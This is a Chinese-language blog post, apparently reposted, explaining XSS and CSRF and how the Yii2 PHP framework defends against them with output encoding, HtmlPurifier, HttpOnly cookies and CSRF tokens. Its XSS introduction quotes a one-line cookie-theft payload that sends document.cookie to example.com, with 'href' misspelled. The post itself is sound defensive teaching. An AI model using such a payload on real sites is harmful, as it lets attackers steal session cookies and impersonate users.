原文地址 -> 常见web安全之XSS和CSRF预防
近期玩了一下xss-game 一个测试使用XSS 的网站,好多都没做出来,最后还是靠搜索xss-game solution 来完成的,所以写写常见的web 安全的事。
日常开发比较少接触到安全,但不代表我们就不重视安全。常见的web共计分为XSS 和CSRF 共计,XSS 为在用户输入中嵌入JavaScript 脚本来实现攻击,常常会使用location.herf='http://example.com?cookie='+document.cookie 来获取用户的cookie ,但即使用户没有恶意,插入alert 这类操作,也会很影响用户的体验,如果插入到数据库,导致其他用户查看页面也弹出此类提示框,就更不行了。
XSS
XSS 全称是Cross-site scripting ,分为反射型和存储型,反射型不会存储到数据库,存储型会存储到数据库,我查看了下PHP 的Yii2 框架是如何防止XSS 攻击的。点击查看官方文档
避免 XSS 攻击在 Yii 中非常简单,有如下两种一般情况:
你希望数据以纯文本输出。
你希望数据以 HTML 形式输出。
如果你需要的是纯文本,你可以如下简单的转义:
<?= \yii\helpers\Html::encode($username) ?>如果是 HTML ,我们可以用 HtmlPurifier 帮助类来执行:
<?= \yii\helpers\HtmlPurifier::process($description) ?>
查看Yii2 中的encode 方法
public static function encode($content, $doubleEncode = true)
{
return htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE, Yii::$app ? Yii::$app->charset : 'UTF-8', $doubleEncode);
}
发现还是使用的原生的htmlspecialchars 方法,但是需要注意编码问题。
Yii2 中的HtmlPurifier 则是使用的htmlpurifier.org/ ,具体用法可以查看官方网站,这里就不赘述了。
防止cookie 的获取,还需要设置HTTP only 为true
CSRF
CSRF 全称Cross-site request forgery ,通过伪装来自受信任用户的请求来利用受信任的网站。上面介绍了XSS 可以用来获取用户的cookie ,然后伪装用户发起请求,服务器根据cookie 来辩别是否是当前用户。这样攻击者就可以获取正常用户所需的数据。
常见的防御方法
-
验证
HTTP Referer字段HTTP中的Referer字段记录了HTTP请求的来源地址,这样后台拦截其他地址就可以防止CSRF攻击了,但是Referer在IE6中是可以改写的,而且用户担心隐私不让网站记录地址,可以设置浏览器在发送请求不提供Referer,所以仍然还是会存在问题。 -
请求地址中添加
token验证通过在验证用户请求中生成的
token来判断用户上传的数据是否合乎规则,来防止CSRF攻击。Yii2会在验证中设置开启是否需要CSRF验证public $enableCsrfValidation = true; // 设置开启 CSRF 验证 public $enableCookieValidation = true; // 设置开启 cookie 验证用户
form中需要如下引用,使用以下方法来生成csrf token,来上传给后台<input type="hidden" name="_csrf" value="<?=Yii::$app->request->getCsrfToken() ?>">使用
ajax方法时data:{_csrf:"<?=Yii::$app->request->csrfToken ?>"}Yii2生成token是在yii2\web\request::generateCsrfToken方法中,通过token和一个随机生成的mask经过异或运算后与mask拼接再经过base64加密后处理的一个字符串上传数据后,在开发人员操作用户数据之前,
Yii2在yii\web\Controller::beforeAction中进行CSRF验证。数据验证不成功,则抛出Unable to verify your data submission.